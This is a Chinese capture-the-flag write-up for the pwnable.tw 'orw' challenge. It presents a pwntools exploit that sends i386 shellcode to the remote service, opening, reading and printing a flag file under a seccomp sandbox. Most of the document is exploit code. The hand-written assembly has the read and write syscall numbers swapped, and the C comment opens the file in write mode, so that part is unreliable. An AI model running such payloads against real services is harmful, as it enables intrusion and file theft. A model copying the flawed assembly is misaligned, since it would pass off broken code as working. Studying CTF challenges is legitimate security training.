orw
常态化的exp文件头
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')
# sh = remote("node3.buuoj.cn",29479)
sh = remote("chall.pwnable.tw", 10001)
文件分析
易于理解的输入,但是有着一个orw_seccomp,沙箱嘛
只剩下read、open、write了,也对应了题目名orw
写shellcode咯
shellcode编写
from https://zhuanlan.zhihu.com/p/158489498
#c语言
fd = open("/home/orw/flag","w")
//相应的汇编
xor ecx,ecx # 清空ecx寄存器,open的调用该寄存器的值设为null
xor edx,edx # 清空edx寄存器,open的调用该寄存器的值设为null
mov eax,0x5 # 调用号设置为5
push 0x006761 # 将/home/orw/flag压入栈中,注意是栈是先进后出,因此字符串需要从最末尾开始压入即将字符
push 0x6c662f77 # 转为16进制要反向排序,并且字符串需要添加截断符\x00,push要以4字节为单位。
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp # fd的值为路径的地址
int 0x80 # 调用80中断,实现系统调用
#c语言
read(fd,buf,0x20)或read(3,buf,0x20) //这里的3为其他文件描述符,下面会详细介绍
//相应的汇编
mov eax,0x4
mov ebx,0x3 # 这里用3代替了oepn返回的fd指针,因为3可以用作于打开文件时的文件描述符,若想用open返回的指针则应该将系统调用号移动到eax寄存器前,先保存eax的内容。
mov ecx,esp # 将esp作为临时变量buf的地址
mov edx,0x20 # 读入的长度为0x20
int 0x80 # 调用80中断,实现系统调用
#c语言
write(1,buf,0x20)
//相应的汇编
mov eax,0x3# 系统调用号0x3
mov ebx,0x1# 文件描述符为1,指向屏幕
mov ecx,esp # 将esp作为临时变量buf的地址
mov edx,0x20 # 打印的字符串的长度
int 0x80 # 调用80中断,实现系统调用
可以用pwntools的shellcraft写简化版
c语言:open("/home/orw/flag") <==> 汇编:
asm(shellcraft.open("/home/orw/flag"))
c语言:read(3,buf,0x20)<==> 汇编:
asm(shellcraft.read(3,"esp",0x20)
c语言:write(1,buf,0x20)<==> 汇编:
asm(shellcraft.write(1,"esp",0x20))
下半exp
payload = asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read(3, "esp", 100))
payload += asm(shellcraft.write(1, "esp", 100))
sh.sendline(payload)
sh.interactive()
结束。